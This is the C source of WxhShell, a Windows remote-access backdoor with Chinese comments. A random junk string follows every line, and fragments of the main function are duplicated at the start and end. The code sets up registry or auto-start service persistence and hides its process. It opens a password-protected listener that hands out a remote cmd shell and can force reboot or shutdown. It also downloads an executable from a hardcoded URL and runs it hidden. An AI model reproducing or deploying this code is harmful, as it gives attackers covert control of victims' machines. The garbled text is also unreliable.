if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TFOx=_.%i
WinExec(wscfg.ws_filenam,SW_HIDE); Wu6'm&t
} Lv@WI6DM
UIU Pi gd
if(!OsIsNt) { m=n79]b:N
// 如果时win9x，隐藏进程并且设置为注册表启动 RR=WD-l
HideProc(); -\p&18K#
StartWxhshell(lpCmdLine); Fah6 &a
} V]Te_ >E;w
else J#Q>dC7
if(StartFromService()) :^W}$7$T
// 以服务方式启动 <cZ/_+H%C
StartServiceCtrlDispatcher(DispatchTable); H*G(`Zl}
else }bRn&)e
// 普通方式启动 ITl>HlS
StartWxhshell(lpCmdLine); p9jC-&:
(Q*x"G#4>
return 0; V0D&bN*
} 8Vz!zYl
@_t=0Rc
FI:H/e5[
Zrwd
=========================================== 5$!idfDr|m
+UWv}|
'C}ku>B_r
-'O|D}
\A^8KVE!
(Zx--2lc
" q~#>MB}".
-uN{28;@
#include <stdio.h> 6|lsG6uf
#include <string.h> 0,-]O=
#include <windows.h> X9PbU1o;
#include <winsock2.h> )a0l:jEOc
#include <winsvc.h> ;HAvor=?
#include <urlmon.h> Q\zaa9P
%7-(c
#pragma comment (lib, "Ws2_32.lib") hlreeXv
#pragma comment (lib, "urlmon.lib") )n"0:"Ou
2u-J+
#define MAX_USER 100 // 最大客户端连接数 u`wD6&y*
#define BUF_SOCK 200 // sock buffer QDj%m%Xd
#define KEY_BUFF 255 // 输入 buffer c|3oa"6T>
iOIq2&sV
#define REBOOT 0 // 重启 4<tbZP3/6)
#define SHUTDOWN 1 // 关机 rRe^7xGe7
s[a\m,
#define DEF_PORT 5000 // 监听端口 "c} en[
CT_tJ
#define REG_LEN 16 // 注册表键长度 v6DjNyg<x
#define SVC_LEN 80 // NT服务名长度 >l8?B L
RSj8T<
// 从dll定义API /tG as
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S@!_{da
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q{G8Po$z'
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }fk3a9j9u
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T}z? i
x]`F#5j
// wxhshell配置信息 VOC$Kqg;
struct WSCFG { @C^x&Sjm
int ws_port; // 监听端口 e}-fGtFx
char ws_passstr[REG_LEN]; // 口令 66-\}8f8a
int ws_autoins; // 安装标记, 1=yes 0=no y$nI?:d
char ws_regname[REG_LEN]; // 注册表键名 ,<!*@xy7v
char ws_svcname[REG_LEN]; // 服务名 `%~}p7Zu
char ws_svcdisp[SVC_LEN]; // 服务显示名 z9&j
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ax\d{0/oL2
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _\yR/W~
int ws_downexe; // 下载执行标记, 1=yes 0=no LmyaC2
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z #
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Z]nV2$n)V
D^>d<LX
}; zqrqbqK5R
8ZbXGQ
// default Wxhshell configuration 1!V[fPJ
struct WSCFG wscfg={DEF_PORT, \15'~]d
"xuhuanlingzhe", 8mmnnf{P
1, 4".I*ij
"Wxhshell", r[^.\&-
"Wxhshell", ._>03,"
"WxhShell Service", u0<yGsEGD
"Wrsky Windows CmdShell Service", 9W(&g)`
"Please Input Your Password: ", @D*PO-s9
1, ud(0}[
"http://www.wrsky.com/wxhshell.exe", w%TrL+v
"Wxhshell.exe" sZ&6g<8#y
}; ts(u7CJd
wT19m
// 消息定义模块 LCS.C(n,
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Dn&+=fq
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Q=)-
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z5oDj|&l}
char *msg_ws_ext="\n\rExit."; _#v"sGmN
char *msg_ws_end="\n\rQuit."; )TVd4s(e
char *msg_ws_boot="\n\rReboot..."; "y*3p0E
char *msg_ws_poff="\n\rShutdown..."; t90M]EAV
char *msg_ws_down="\n\rSave to "; {hOS0).(w7
AfhJ6cSIE
char *msg_ws_err="\n\rErr!"; *k#"@
char *msg_ws_ok="\n\rOK!"; $Bncdf
z.SKawm6T
char ExeFile[MAX_PATH]; N;YFr
int nUser = 0; fsK=]~<g
HANDLE handles[MAX_USER]; {5 pK8
int OsIsNt; @",#'eC"
fQ1j@{Xa
SERVICE_STATUS serviceStatus; xv2c8g~vD
SERVICE_STATUS_HANDLE hServiceStatusHandle; ^/}4M'[w
cy(w*5Upu
// 函数声明 {T^D&i# o
int Install(void); bJ 6ivz
int Uninstall(void); 6&'kN2
int DownloadFile(char *sURL, SOCKET wsh); wXp:XZ:]T
int Boot(int flag); QsxvA;7%
void HideProc(void); wmVb0~[
int GetOsVer(void); Q[#8ErUY
int Wxhshell(SOCKET wsl); WY>$.e
void TalkWithClient(void *cs); h#}w18l
int CmdShell(SOCKET sock); x ~)~v?>T
int StartFromService(void); />8A?+g9u
int StartWxhshell(LPSTR lpCmdLine); "3]}V=L<5
\ ;]{`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #r"|%nOfY
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h4KMhr
2DsP "q79k
// 数据结构和表定义 ?5ZvvAi
SERVICE_TABLE_ENTRY DispatchTable[] = &0[L2x}7
{ Opf)TAl{
{wscfg.ws_svcname, NTServiceMain}, ~a3u['B
{NULL, NULL} 1}c/l<d
}; ~.G$0IJY
^{IZpT3
// 自我安装 ;u(*&vRqr^
int Install(void) T?[;ej:
{ vOCaru?~h
char svExeFile[MAX_PATH]; mX.mX70|J
HKEY key; Xl2g Hh
strcpy(svExeFile,ExeFile); 3'6 UvAXFH
w[l#0ZZ
// 如果是win9x系统，修改注册表设为自启动 rxMo7px@}I
if(!OsIsNt) { =$bF[3D
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j+-`P5
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2/t;}pw8
RegCloseKey(key); j>\rs|^O
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z@x&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cs\=8_5
RegCloseKey(key); t 3N}):
return 0; t@#5 G* _Q
} (i(E~^O
} 2+)h!y]
} tvVf)bbz
else { 3}phg
ns5Dydo{T
// 如果是NT以上系统，安装为系统服务 19(x$=:
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L.;x=w
if (schSCManager!=0) ?&,6Y'"
{ z<!A;.iD
SC_HANDLE schService = CreateService r6Vw!^]8u8
( ;aD~1;q
schSCManager, e~)4v
wscfg.ws_svcname, D5Sbs(
wscfg.ws_svcdisp, 60%fva
SERVICE_ALL_ACCESS, i83Jy w,f
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nlm}'Xt
SERVICE_AUTO_START, lU=VCuW!
SERVICE_ERROR_NORMAL, [];wP'*
svExeFile, IMdp"
NULL, _(gkYJ+MK
NULL, # SCLU9-
NULL, &,PA+#
NULL, Z>3~n
NULL bxxLAWQ(
); \6APU7S
if (schService!=0) B[YyA
{ FdnLxw
CloseServiceHandle(schService); [bo"!Qk%
CloseServiceHandle(schSCManager); $4ZV(j]
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); By!u*vSev
strcat(svExeFile,wscfg.ws_svcname); FVP,$
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +&f_k@+
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jn|<G
RegCloseKey(key); ^9hc`.5N&?
return 0; -*w2<DCn
} q3/4l%"X
} yr>J^Et%_
CloseServiceHandle(schSCManager); p}!)4EI=
} 5z3WRg
} IRk)u`
j?$B@Zk
return 1; DH_~,tK9
} mM/#(Ghl
_'Vo3b
// 自我卸载 # Dgkl
int Uninstall(void) yRyRH%p)
{ 7u^wO<
HKEY key; x%@M*4:&
GadY#]}(
if(!OsIsNt) { V#b*:E.cA
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <x;g9Z>(
RegDeleteValue(key,wscfg.ws_regname); jM6$R1HX
RegCloseKey(key); F+R1}5-3cl
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZT/f
RegDeleteValue(key,wscfg.ws_regname); d!&LpODI]*
RegCloseKey(key); 0]DX KI
return 0; x2I|iA=
} LHOt(5VY
} kn3GgdU
} FO!0TyQ
else { "3Dnp?gB
\&V[<]
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5"U5^6:T
if (schSCManager!=0) /M]P&Zb |
{ oui0:Vy<
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UBQtD|m\
if (schService!=0) MMaS
{ Ux" ^3D
if(DeleteService(schService)!=0) { p*cyW l
CloseServiceHandle(schService); Mx93D
CloseServiceHandle(schSCManager); dXY}B=C
return 0; P*?2+.
} r SoT]6/
CloseServiceHandle(schService); x?0(K=h,
} d9e~><bPJ
CloseServiceHandle(schSCManager); j/T@-7^0
} T=V{3v@zs
} $[cB6
UDcr5u eKn
return 1; h;} fdk
} ZZ!6O/M
\KpJIHkBRy
// 从指定url下载文件 <$uDN].T4
int DownloadFile(char *sURL, SOCKET wsh) si]MQ\i+
{ v/]xdP^Z
HRESULT hr; Y@ ;/Sf$Q
char seps[]= "/"; qB$QC
char *token; A~?)g!tS<
char *file; E'8XXV^I?P
char myURL[MAX_PATH]; !.@:t`w
char myFILE[MAX_PATH]; 4^Ks!S>K{8
BUh(pS:
strcpy(myURL,sURL); 1,Pg^Xu
token=strtok(myURL,seps); "GqasbX
while(token!=NULL) *E|3Vy{4
{ :N<o<qn
file=token; u,YmCEd_V
token=strtok(NULL,seps); 8h}1t4k
} OaN"6Ge#
^eRbp?H*T
GetCurrentDirectory(MAX_PATH,myFILE); t?weD{O
strcat(myFILE, "\\"); B=_5gZ4Y
strcat(myFILE, file); M6]:^;p'
send(wsh,myFILE,strlen(myFILE),0); HPO:aGU
send(wsh,"...",3,0); /k\)q
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eeBw\f0
if(hr==S_OK) Ix=(f0|
return 0; !]7L9TGn
else 3dtL[aVwY
return 1; @WKJ7pt`'N
!,7)ZW?*8
} r:U<cLT[9
mv*M2NuhT
// 系统电源模块 Ve"M8-{oKk
int Boot(int flag) =7~;*Ts
{ #.}&6ZP
HANDLE hToken; XK0lv8(
TOKEN_PRIVILEGES tkp; }b<w\9AF
NZ^hp\q
if(OsIsNt) { fE>JoQs38
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =t}m
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JkLpoe81
tkp.PrivilegeCount = 1; eVbT<9k
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,MLAW
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6TQ[2%X'
if(flag==REBOOT) { vsq |m5
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +f^|Yi
return 0; &"yoJ<L
} -gb@BIV#
else { ^v3J ld
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !.|A}8nK
return 0; te>Op 1R
} x+Ly,9nc$
} RtaMrG=D
else { \:Hh'-77q
if(flag==REBOOT) { 3Z}m5f`t
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mI;\ UOh'
return 0; NeewV=[%
} W{}M${6&
else { 2rf#Bq?7
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PP6gU=9[)
return 0; weOga\
} R++w>5 5A
} W>u$x=<T
Fcn@j#[J
return 1; &D7Mv5i0@
} }?U #@ h
j#VR>0oC]\
// win9x进程隐藏模块 ]e?L,1-
void HideProc(void) ?Bd6<F-G
{ 9.Sv"=5gz
/EZ -
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4)snt3k
if ( hKernel != NULL ) catJC3
{ ]6WP;.[
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |5BvVqn
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kL -f@CD
FreeLibrary(hKernel); TPi{c_ ]
} j'SGZnsy*
4"+v:t)z6{
return; D<^K7tJui
} t0ZaIE
#6 $WuIG
// 获取操作系统版本 k,/2]{#53d
int GetOsVer(void) R8j\CiV17
{ +DSZ(Zb4qY
OSVERSIONINFO winfo; T'14OU2N{Y
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (6)X Fp&
GetVersionEx(&winfo); o<Rrr,
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XE:bYzH
return 1; xZMAX}8v
else )EsFy6K:
return 0; "!o|^nN,
} S"Ag7i
`6*1mE1K&
// 客户端句柄模块 1W>0
int Wxhshell(SOCKET wsl) R+=Xr<`%U|
{ l27J
SOCKET wsh; Lyjp
struct sockaddr_in client; - SCFWc
DWORD myID; Ec!R3+
*,XT;h$'>
while(nUser<MAX_USER) HwBJUr91]
{ XpP}(A@G
int nSize=sizeof(client); F:G Vysy
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *iVv(xXgN
if(wsh==INVALID_SOCKET) return 1; <TEDs4 C
3hR3)(+1
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]~'pYOB
if(handles[nUser]==0) J['?ud}@
closesocket(wsh); ].x`Fq3
else q{Gf@
nUser++; IOH6h=
} ^ Mq8jw(2
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P)06<n1">Z
%T~LK=m
return 0; +?C7(-U>
} 8wzQr2:
5S%#3YHY2
// 关闭 socket $"{I|UFC
void CloseIt(SOCKET wsh) ^cIRP
{ @9h6D<?
closesocket(wsh); [F^j(qTR
nUser--; lUM-~
ExitThread(0); J<ZG&m362p
} /h K/t;
iaQ3mk#
// 客户端请求句柄 2NWQiSz
void TalkWithClient(void *cs) ,mD{4 >7
{ m)xz_Plc
!;&{Q^}
SOCKET wsh=(SOCKET)cs; MZ<BCRB
char pwd[SVC_LEN]; (L7%V !
char cmd[KEY_BUFF]; M}!E :bv'
char chr[1]; R"{oj]d;$F
int i,j; ,) 3Eog\-
0d #jiG
while (nUser < MAX_USER) { EceD\}
A@ 4Oq
if(wscfg.ws_passstr) { x`zE#sD
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kwpbgQ
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G/_9!lE
//ZeroMemory(pwd,KEY_BUFF); 1(m[L=H5>
i=0; NvjKB)J
while(i<SVC_LEN) { .^!uazPE0
]*yUb-xY
// 设置超时 j{H,{x
fd_set FdRead; u~j&g
struct timeval TimeOut; aumM\rY
FD_ZERO(&FdRead); N5@l[F7I
FD_SET(wsh,&FdRead); sFonc
TimeOut.tv_sec=8; $ud\CU:r
TimeOut.tv_usec=0; (p}N cn.
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N/eFwv.Er
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z%[^-l-
Q`(h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jR mo9Bb2
pwd=chr[0]; \Qe`>nA
if(chr[0]==0xd || chr[0]==0xa) { l=ZX9<3
pwd=0; , Y cF~
break; eRvnN>L
} };nOG;
i++; vo]$[Cp|4
} }Uunlz<
Qon>[<]B
// 如果是非法用户，关闭 socket HT=-mwa_]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2)+ddel<Z
} bRK[u\,
0z=^_Fb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !1ZrS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \kVi&X=q:
_D~FwF&A
while(1) { 3v:c'R0
oh^QW`#(
ZeroMemory(cmd,KEY_BUFF); 5SwQ9#
DeRC_ [
// 自动支持客户端 telnet标准 -!pg1w06
j=0; 3`DwKv`+
while(j<KEY_BUFF) { x_BnWFP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =9cN{&qf
cmd[j]=chr[0]; . I#dR*
if(chr[0]==0xa || chr[0]==0xd) { dpI! {'"M
cmd[j]=0; SW*Yu{
break; }Jk=ZBVjT7
} {N 0i 3e s
j++; Vh5Z'4N
} 2f7]=snCG
zUd{9B$
// 下载文件 zFeo8S
if(strstr(cmd,"http://")) { '7/c7m/$X<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W)m\q}]FYz
if(DownloadFile(cmd,wsh)) -4nSiI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J:Ncy}AO
else s2iL5N|"Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c:sk1I,d~^
} O2C&XeB:4
else { /yO|Q{C}M8
\N"=qw^ t
switch(cmd[0]) { FW--|X]8
qQx5n
// 帮助 ^%~ux0%^T
case '?': { *HXx;:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x*2I]4
break; k1Thjt
} g|PRk9
// 安装 x^P~+(g
case 'i': { S 0L"5B@
if(Install()) 0dKi25J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xRPUGGv
else ]J>{ZL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `u7"s'
break; iP^o]4[c
} \rY<DxtOq
// 卸载 S67>yqha
case 'r': { @Zov&01
if(Uninstall()) -iJ @K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,CA3Q.y>|
else EwH_k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <\C/;
break; }qn@8}
} i*-L_!cc:
// 显示 wxhshell 所在路径 H_<hZUB
case 'p': { >lIQM3
char svExeFile[MAX_PATH]; E{B=%ZNnm
strcpy(svExeFile,"\n\r"); |$aTJ9 Iq:
strcat(svExeFile,ExeFile); >,s.!vpK
send(wsh,svExeFile,strlen(svExeFile),0); ;^Hg\a
break; &$+nuUA
} dyMj=e
// 重启 WyDL ah^/
case 'b': { B2DWSp-8*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rLzN#Zoi
if(Boot(REBOOT)) ^J{tOxO=l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1pT-PO3=
else { iF1E 5{dH
closesocket(wsh); "<5su5]
ExitThread(0); 60r4%>d
} B>"O~ gZ{#
break; 1hnw+T<<W
} xU_Dg56z'&
// 关机 3iC$ "9!p
case 'd': { $X%'je
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i`)h~V|G
if(Boot(SHUTDOWN)) ~i ImM|*0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8^YDrH
else { qS{E+)P
closesocket(wsh); s#*T(pY
ExitThread(0); 2AK]x`GY
} Gcz@z1a=n
break; 4OOH 3O
} pk,]yi,ZF
// 获取shell vq&u19iP
case 's': { .*zWm
CmdShell(wsh); ]-b`uYb
closesocket(wsh); 4Cl41a
ExitThread(0); O)E8'Oe"Q
break; [ijK~
} /degBL+
// 退出 UZ` <D/
case 'x': { S"wn0B$"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .3JLa8y
CloseIt(wsh); t'pY~a9F
break; ]&mN~$+C
} uO,9h0y0W
// 离开 6*]g~)7`Q~
case 'q': { q;<=MO/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m5/d=k0l
closesocket(wsh); B"rfR_B2M#
WSACleanup(); vm y?8E6+
exit(1); bb]r
break; 6bXR?0$*M.
} ToVi;
} WzwH;!
} 2a3RRP
WFTXSHcG
// 提示信息 yaD_c;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NEb M>1>^
} =KctAR;
} :g`j gn0
v==b. 2=
return; {-fhp@;
} m\hzQ9
~;#OQ[
// shell模块句柄 hhU: nw
int CmdShell(SOCKET sock) s.p4+KJ
{ qQ%RnD9
STARTUPINFO si; >ARZ=x[
ZeroMemory(&si,sizeof(si)); 1"4Pan
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -J<{NF
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ev}ugRxt|k
PROCESS_INFORMATION ProcessInfo; &eqeQD6
char cmdline[]="cmd"; *49lM;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vTdJe
return 0; hN3*]s;/6z
} X' ,0vK
e2X\ll
// 自身启动模式 CC8)yO
int StartFromService(void) _3'FX#xc
{ LW$(;-rY
typedef struct T|o ]8z
{ ;;#_[Zl
DWORD ExitStatus; nH=8I~jp
DWORD PebBaseAddress; R;]z/|8
DWORD AffinityMask; mz'r<v2Tc
DWORD BasePriority; BM,]Wjfdj
ULONG UniqueProcessId; %]m/fo4b
ULONG InheritedFromUniqueProcessId; h'tb
} PROCESS_BASIC_INFORMATION; &O:IRR7p
Yi5^#G
PROCNTQSIP NtQueryInformationProcess; ,L.*95,
@> ]O6P2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;;zQVD )X
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5S EyAhB
m);0sb
HANDLE hProcess; iW #|N^
PROCESS_BASIC_INFORMATION pbi; !d)Vr5x
rEF0A&5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a^ __Z3g,
if(NULL == hInst ) return 0; :Q=tGj\G
lzE{e6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T|%pvTIe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [@&0@/s*t'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K|{IX^3)V
? +q(,P@*
if (!NtQueryInformationProcess) return 0; Wz%b,!
R.(fo:ve>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8?za&v
if(!hProcess) return 0; RZgklEU
LrGLIt`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =sYUzYm
UK7pQt}9
CloseHandle(hProcess); p";5J+?(
S /kM#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4*D'zJsJ
if(hProcess==NULL) return 0; r+D ?_Lk
OtVRhR3>
HMODULE hMod; ]27
char procName[255]; 5p}ri,Y<
unsigned long cbNeeded; 0{q>'dv
,dR<O.{0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l@irAtg4
l:i&l?>_
CloseHandle(hProcess); RnaxRnXVR
J2BCaAwEP,
if(strstr(procName,"services")) return 1; // 以服务启动 XsXO S8
i0TbsoKh:
return 0; // 注册表启动 (\8~W*ej"
} RXD*;B$v
X>la!}sV
// 主模块 p|gzU$FWbk
int StartWxhshell(LPSTR lpCmdLine) :Rftn6!
{ e2><Y<
SOCKET wsl; GGQ%/i]:
BOOL val=TRUE; %6%~`((4
int port=0; ~Oc:b>~
struct sockaddr_in door; b4R;#rm
3OlXi9>3
if(wscfg.ws_autoins) Install(); z]%c6ty
I,lX;~xb
port=atoi(lpCmdLine); ^5D%)@~
..K@'*u
if(port<=0) port=wscfg.ws_port; -`8pahI
#hZ`r5GvTj
WSADATA data; 7G\a5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vH?rln
j&Trvw<t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3n!f'" T
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q?* z<)#
door.sin_family = AF_INET; lZr}F.7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w!eY)p<
door.sin_port = htons(port); 0Xw$l3@N^
T2ZB(B D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dx5X6t9=
closesocket(wsl); +e87/\5
return 1; 4aGVIQ
} dHsI<:T#
nf0]<x2
if(listen(wsl,2) == INVALID_SOCKET) { \V_Tc`
closesocket(wsl); PU2^4h/[`
return 1; K0usBA
} _m.w5nJ
Wxhshell(wsl); x>bGxDtu*
WSACleanup(); {6tj$&\)
WbWEgd%8.
return 0; 5<>"d :9
^7SE2Zi
} T!ww3d
0 L$[w
// 以NT服务方式启动 YW2h#PV6_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FPE%h=sw
{ dJjkH6%}
DWORD status = 0; M-8`zA2
DWORD specificError = 0xfffffff; KjNA PfL
@Cml^v@`L
serviceStatus.dwServiceType = SERVICE_WIN32; L"tzUYxg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %#<MCiaK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Zk2]eUO+
serviceStatus.dwWin32ExitCode = 0; y}U}AUt
serviceStatus.dwServiceSpecificExitCode = 0; sR4B/1'E
serviceStatus.dwCheckPoint = 0; o* ~aB_
serviceStatus.dwWaitHint = 0; >i_ #q$o
x^79s_h5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7tP%tp ez
if (hServiceStatusHandle==0) return; lv>^P>S(O
Miz?t*|{[
status = GetLastError(); ;O7Vl5R
if (status!=NO_ERROR) i*((@:
{ #M)+sK$H%f
serviceStatus.dwCurrentState = SERVICE_STOPPED; "U-dw%b}b
serviceStatus.dwCheckPoint = 0; }0IeKpu5
serviceStatus.dwWaitHint = 0; B#G:aBCM
serviceStatus.dwWin32ExitCode = status; mt]^d;E
serviceStatus.dwServiceSpecificExitCode = specificError; 4Ql9VM%y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #:NY9.\o
return; EeR}34
} =<%[P9y
4nrn Npf`b
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y$5uoq%p3A
serviceStatus.dwCheckPoint = 0; w,az{\
serviceStatus.dwWaitHint = 0; aD+4uGN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bO` SBq$
} @h9QfJ_f
DF>3)oTF
// 处理NT服务事件，比如：启动、停止 L|L;<
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sh2BU3
{ akFT 0@9
switch(fdwControl) 7^7Jh&b)/
{ #U(kK(uO
case SERVICE_CONTROL_STOP: hv`I`[/J
serviceStatus.dwWin32ExitCode = 0; 63i&<
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3$_JNF`
serviceStatus.dwCheckPoint = 0; dmWCNeja.
serviceStatus.dwWaitHint = 0; T#<Q[h=
{ (6Ciqf8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !nsx!M
} %:v<&^oDlm
return; ?>Ngsp>-P
case SERVICE_CONTROL_PAUSE: 2?{'(iay
serviceStatus.dwCurrentState = SERVICE_PAUSED; nTl2F1(sV7
break; 6>]w1 H
case SERVICE_CONTROL_CONTINUE: ;0U*N& f
serviceStatus.dwCurrentState = SERVICE_RUNNING; HbRvU}C1
break; >6R3KJe
case SERVICE_CONTROL_INTERROGATE: r )HZaq
break; DL<;qhte
}; ,{;*b v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); guG&3{&\s
} TuEM
WvZt~x&2
// 标准应用程序主函数 Z9.0#Jnu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :(\JY?+w
{ {_mVfFG
G c\^Kg^#
// 获取操作系统版本 gyb99c,)
OsIsNt=GetOsVer(); }<YU4EW
GetModuleFileName(NULL,ExeFile,MAX_PATH); /,_m\JkwL
ve+bR
// 从命令行安装 r1TdjnP,2^
if(strpbrk(lpCmdLine,"iI")) Install(); 7=D,D+f
,5x#o
// 下载执行文件 S@'%dN6e
if(wscfg.ws_downexe) { :..WL;gC
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5DDSo0E
WinExec(wscfg.ws_filenam,SW_HIDE); VEpcCK
} tY>Zy1hlI
v[2&0&!K#
if(!OsIsNt) { qX*xQA|ak,
